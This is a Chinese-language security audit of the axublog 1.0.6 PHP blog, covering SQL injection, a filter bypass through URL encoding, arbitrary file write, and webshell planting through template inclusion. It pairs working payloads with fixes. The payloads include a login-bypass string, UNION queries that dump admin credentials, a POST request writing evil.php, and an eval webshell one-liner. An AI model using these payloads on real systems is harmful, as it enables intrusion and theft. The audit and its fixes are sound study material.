赞
踩
版本:axublog1.0.6
编辑器:phpstorm
调试工具:XDEBUG、SEAY源代码审计系统、Firefox、BurpSuit
动态调试
原理:SQL注入
危险等级:高危
在 ./ad/login.php 的第84行开始看到$user
、$psw
、$loginlong
都是直接从$_POST
直接传送过来的。
function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"]; setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",''); $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{ $num=mysql_num_rows($sql); if($num==0){$jieguo='<div id=redmsg>登录失败:账户或密码错误!</div>';} else{ loginpass($loginlong); $jieguo='<div id=bluemsg>登录成功!正在前往<a href="index.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">'; @$chkmoblie=isMobile(); if($chkmoblie==1){$jieguo='<div id=bluemsg>登录成功!正在前往<a href="wap.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';} }
在静态审计的过程中需要追入一开始的include
的文件用以检查是否对 $_POST
变量进行过滤。但是这个比较复杂的过程可以通过使用动态调试来简化。
在 ./ad/login.php
中第5行下断点以便追踪$_POST
变量的值。
当从登陆页面输入登陆的账户和密码,程序便可断在我们设置的断点处。
这里没有发现有对$_POST
变量进行过滤,继续追踪下去。
在第94行发现我们传递的数值没有经过过滤就直接带入到数据库进行查询,这就造成SQL注入
等执行完流程之后发现登陆成功了。
构造POST数据
user=aaa'+or+1=1+#&psw=admin&loginlong=86400
function jsloginpost(){ global $tabhead; global $txtchk; @$user=$_POST["user"]; @$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); @$loginlong=$_POST["loginlong"]; // -------------------add-filter-code-------------- if(!get_magic_quotes_gpc()){ @$user=htmlentities($user,ENT_QUOTES,'utf-8'); @$psw=htmlentities($psw,ENT_QUOTES,'utf-8'); @$loginlong=htmlentities($loginlong,ENT_QUOTES,'utf-8'); } // ------------------------------------------------ setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",''); $tab=$tabhead."adusers"; $chk=" where adnaa='".$user."' and adpss='".$psw."' "; mysql_select_db($tab); $sql = mysql_query("select * from ".$tab.$chk); if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{ ... (余下代码省略)
2. 更改数据库交互函数,使用PDO等预编译技术
静态分析
原理:SQL注入
危险等级:高危
./hit.php文件代码如下:
<?php header("Content-type:text/html; charset=utf-8"); require("cmsconfig.php"); require("class/c_other.php"); sqlguolv(); $g=$_GET['g']; if ($g=='arthit'){ $id=$_GET['id']; if($id!=''){ $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql); $str=$row['hit']; echo 'document.write('.$str.');'; } }
在第16行和第17行都将 $id
直接带入SQL查询,而$id
是直接从 $_GET['id']
中提取的。
设想使用如下url进行注入,但发现被拦截了
http://localhost/test/hit.php?g=arthit&id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12
这里被拦截的原因出自 sqlguolv()
。追入该函数看过滤的代码:
Function sqlguolv() {
@header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!"; exit;}
}
这里尝试使用大小写来绕过,但是因为正则函数是使用 /i ,导致大小写被忽略,所以不可行。这里Thinking师傅的审计文章里有提到:
sqlguolv()函数中对字符串进行检测的方式是从
$_SERVER['QUERY_STRING']
中提取请求的字符串,并且不会对URL编码进行解码。
但是在 hit.php 中对参数的赋值是从$_GET
中提取的,而GET方法会对URL进行一次解码
因此过滤可以被绕过。
构造URL:
http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12
获取管理员的账号密码
http://localhost/test/hit.php?g=arthit&id=-1%20+%55NION+ALL+%53ELECT+1,2,3,4,5,6,concat(adnaa,'|',adpss),8,9,10,11,12%20from%20axublog_adusers
$_SERVER['QUERY_STRING']
不对URL进行解码的问题进行修复,即增加解码的步骤并完善正则匹配的关键字。//c_other.php
Function sqlguolv() {
@header("Content-type:text/html; charset=utf-8");
//---------------fix-part---------------
$checkpara = '/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|concat|\^|preg|like|substr|\(|\)/i';
$_SERVER['QUERY_STRING'] = urldecode($_SERVER['QUERY_STRING']);
if (preg_match($checkpara,$_SERVER['QUERY_STRING'])==1 or preg_match($checkpara,file_get_contents("php://input"))==1){
echo "警告 非法访问!";
exit;
}
//--------------------------------------
}
//hit.php if ($g=='arthit'){ $id=$_GET['id']; if($id!=''){ //-----------fix-code-------------------------- $id = intval($id); //--------------------------------------------- $tab=$tabhead."arts"; mysql_select_db($tab); $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id); $sql = mysql_query("select * from ".$tab." where id=".$id); $row=mysql_fetch_array($sql); $str=$row['hit']; echo 'document.write('.$str.');'; }
}
3、使用预编译技术和数据库进行交互。
静态分析
原理:因为对传入的参数控制不严格导致任意文件上传可getshell。
危险等级:高危
在 ./ad/theme.php 的第186行有如下代码:
<?php function edit2save(){ global $themepath; ?> <div class="yj_green" id=full> <b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b> <div class="boxcontent"> <h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2> </div> <div class="t1"><div class="t2"> <?php $path=$_REQUEST['path']; $content=stripslashes($_REQUEST['content']); ?> <p>编辑文件:<?=$path?></p> <?php if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";} else{echo"保存文件失败!";} ?>
该部分是对传入的$content
的内容写入$path
所指定的文件中。但是在写入的过程中没有对$content
进行过滤,所以可以在$content
中传入恶意代码。
再查找该函数所调用的地方,一共是有两处:
第一处在app.php
的第18行;
第二处是在theme.php
的第15行,在switch语句的分支内:
两处使用方法都一样。
POST /test/ad/theme.php?g=edit2save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 48
path=../evil.php&content=<?php phpinfo(); ?>
写webshell也类似,就不再贴图了。
edit2save
的函数功能点仅仅是编辑about页面:其页面的地址也是固定的:所以直接在后台写死或者在后台对传递来的path做校验。
从theme.php的第195行开始
<?php $path=$_REQUEST['path']; //------fix-code----------- if ($path != '../theme/default/about.mb'){ echo 'about.mb地址不正确'; exit ; } //--------------------------- $content=stripslashes($_REQUEST['content']); ?> <p>编辑文件:<?=$path?></p> <?php if($path==''){ echo'文件路径错误!'; echo $path; exit; }
静态分析
原理:因为在生成about的时候调用了ob_get_contents函数来执行about.mb里面的php语句,而没有做应有的检查所以导致可以写入webshell。
危险等级:高危
在./ad/html.php
的第694行有如下代码:
ob_start();
include($mb);
$html = ob_get_contents ();
ob_clean();
$html=mbreplace($html);
file_put_contents ($cache, $html);
echo '生成about.html成功: <a target=blank href="'.$cache.'">访问</a>';
?>
这个地方实际上就是把about.mb包含进来之后执行其内部的php语句,然后再将一些标签替换成变量的值,最后把处理的结果放入$cache
变量中再将其写入aout.html
页面。虽然最后生成的页面是静态的,但是依旧不会阻止getshell的脚步。
思路一:用 file_get_content
函数写入webshell:
在about.mb尾部添加如下代码:
<?php
file_put_contents('../shell.php','<?php @eval($_GET["a"]); ?>');
?>
然后点击生成about页面,就可以看到目录下生成了webshell
然后访问:
http://localhost/test/shell.php?a=phpinfo();
思路二:通过类似方法,使用system函数执行反弹脚本的语句。
file_put_contents
,call_user_func
,eval
,assert
,system
等容易造成危险的函数,若有就报错并结束流程。Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。